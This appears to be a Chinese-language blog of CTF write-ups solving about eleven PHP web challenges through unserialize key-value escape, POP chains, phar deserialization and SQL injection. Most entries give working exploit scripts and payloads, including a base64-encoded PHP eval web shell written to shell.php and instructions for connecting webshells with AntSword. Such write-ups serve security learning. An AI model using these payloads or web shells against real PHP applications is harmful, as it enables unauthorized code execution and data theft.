[安洵杯 2019]easy_serialize_php

前面的略了,主要看最后的键值逃逸。
filter会将非法字符全部替换为空,这意味着可以构造特定的字符串进行逃逸。

payload:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在经过

extract($_POST);

处理后变成

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

右花括号后面的被抛弃,从而实现绕过。

[0CTF 2016]piapiapia

这道题是由于序列化字符串中某些关键字被替换成更长的字符串形成的简直逃逸。
如果

nickname='";}s:5:"photo";s:10:"config.php";}'

便可以控制photo的值,从而获得flag。
这一段字符的长度是34,而每一个where关键字都会被替换为hacker,使序列化字符串整体长度+1,那么如果nickname中有34个where,nickname序列化后的刚好能让有效长度截止到我们想要的位置。
前面对nickname的一层过滤用nickname绕过。
payoad:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

[MRCTF2020]Ezpop

经典POP链,先贴一份PHP魔术方法:

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

最后是通过append函数中的include包含flag.php
然后构造pop链:

Show::__toString -> Test::__get -> Modifier::__invoke

payload

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
    public function __construct($file){
    $this->source = $file;
    }
    public function __toString(){
        return "karsa";
    }
}

class Test{
    public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

[CISCN2019 华北赛区 Day1 Web1]Dropbox

phar反序列化
burp抓包,发现任意文件下载:../../index.php
重点关注class.php
pop链:

User::__destruct() -> Filelist::__call() -> File::close()

payload:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
?>

把生成的文件名改为1.png,
最后删除时把包名改为phar://1.png。

[SWPUCTF 2018]SimplePHP

还是phar反序列化,先找pop链

C1e4r::__destruct -> Show::__toString() -> Test::__get() -> Test::get() -> Test::file_get()

生成相应的phar

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$c->params['source']='/var/www/html/f1ag.php';
$b->str['str']=$c;
$a->str=$b;


$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);    //将自定义的$a存入meta-data,最后被反序列化
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

最后访问md5后的文件名即可

[GYCTF2020]EasyThinking

现成的POC
session设为32位,key里直接写马。
连上之后用蚁剑直接绕过open_basedir()即可。

[强网杯 2019]Upload

源码显示是tp5框架,
上传的文件会被改为png类型,但修改文件名的过程恰好是我们能利用的,
用户信息被序列化后直接在cookie中传输。
在Register中找到__destruct函数,调用Profile中的upload_img函数即可任意修改文件名。
pop链:

Register::__destruct -> Profile::__call -> Profile::__get -> Profile::upload_img()

payload:

<?php
class Register {
    public $register = false;
    public $check;
}

class Profile {
    public $checker = false;
    public $filename_tmp = "..public/upload/d99081fe929b750e0557f85e6499103f/bd3ffacd4225f8a5c2a658f565614b2a.png";
    public $filename = "..public/upload/d99081fe929b750e0557f85e6499103f/hack.php";
    public $upload_menu;
    public $ext = true;
    public $img;
    public $except = array('index' => 'upload_img');
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
echo base64_encode(serialize($a));
?>

最后蚁剑连上即可。

[GYCTF2020]Easyphp

反序列化逃逸,开局得源码,在lib.php中寻找pop链,

UpdateHelper::__destruct -> User::__toString -> Info::__call -> dbCtrl::login()

最后login中的参数都是可控的,可以返回admin的相关信息。
payload:(来自fmyyy1)

<?php
    class User{
        public $age=null;
        public $nickname=null;
        public function __construct(){
            $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
            $this->nickname = new Info();
        }
    }

    class Info{
        public $CtrlCase;
        public function __construct(){
            $this->CtrlCase = new dbCtrl();
        }
    }
    Class UpdateHelper{
        public $sql;
        public function __construct()
        {
            $this->sql = new User();
        }
    }
    class dbCtrl{
        public $name = "admin";
        public $password = "1";
    }

    $o = new UpdateHelper;
    echo serialize($o);

序列化字符串经getNewInfo函数处理,其中存在键值逃逸。

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

[安洵杯 2019]不是文件上传

有__destruct,接上view_files能直接读文件,关键是如何利用。

<?php
class helper {
        protected $ifview = True; 
        protected $config = "/flag";
}

$a = new helper();
echo bin2hex(serialize($a));

再分析,发现会把传入图片的长宽进行反序列化,长宽不可控,但我们却可以控制文件名filename。
在insert语句中发现可以注入,通过构造特殊的filename可实现对长宽的操作。

payload:
filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#"

过滤了单引号因此要改为16进制。

[GXYCTF2019]BabysqliV3.0

伪协议读一下源码,发现任意命令执行,但没有unserialize只有文件上传所以。。。
phar反序列化嘛显然。
原理就是phar协议可以不依赖unserialize进行反序列化操作,命令执行的条件就是token和session[\'user\']相等就好了。
先随便传个东西拿到session[\'user\'],然后传phar就好了

payload:
<?php

class Uploader{
    public $Filename;
    public $cmd;
    public $token;
}

$a = new Uploader();
$a->Filename = "test";
$a->token = "GXYeb8a98c788e94834d92995b22bf05f07";
$a->cmd = 'highlight_file("/var/www/html/flag.php");';

echo serialize($a);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

然后将这个路径带上phar://作为name参数的值,再随意上传一个文件,因为$this->Filename被我们手工指定为phar,触发了phar反序列化导致命令执行。

[EIS 2019]EzPOP

寻找pop链但又有些有趣的新东西。
pop链:

A::__destruct -> A::save -> A::getForStorage -> A::cleanContents
A::save -> B::_set

关键是在cleanContents中的处理,这一部分我们可控,所以可以尝试写马。

base64解码有一个特性,就是会自动忽略不合法的字符

那么json返回的[\"\"]等符号都不会被解析,
所以只要把马用base64编码一下赋给 this->complete就可。
B中的serialize中存在动态函数,将让serialize为base64_decode就可将马还原回去了。
下一个问题就是绕过data中的exit,
同样,我们还是应用base解码时的性质,传入

php://filter/write=convert.base64-decode/resource=

强制把exit给base64了(注意要不全4的倍数个字符),那么它就会被识别为乱码从而不执行。

payload:
<?php
    class A{
        protected $store;
        protected $key;
        protected $expire;

        public function __construct(){
            $this->key = 'shell.php';
            $this->store = new B();
            $this->cache = array();
            $this->autosave = false;
            $this->complete = base64_encode('xxx'.'PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+');
            $this->expire = 0;
        }
    }


    class B{
        public $options;
        public function __construct(){
            $this->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
            $this->options['data_compress'] = false;
            $this->options['serialize'] = 'base64_decode';
        }

    }

    $a = new A();
    echo urlencode(serialize($a));

标签: none

添加新评论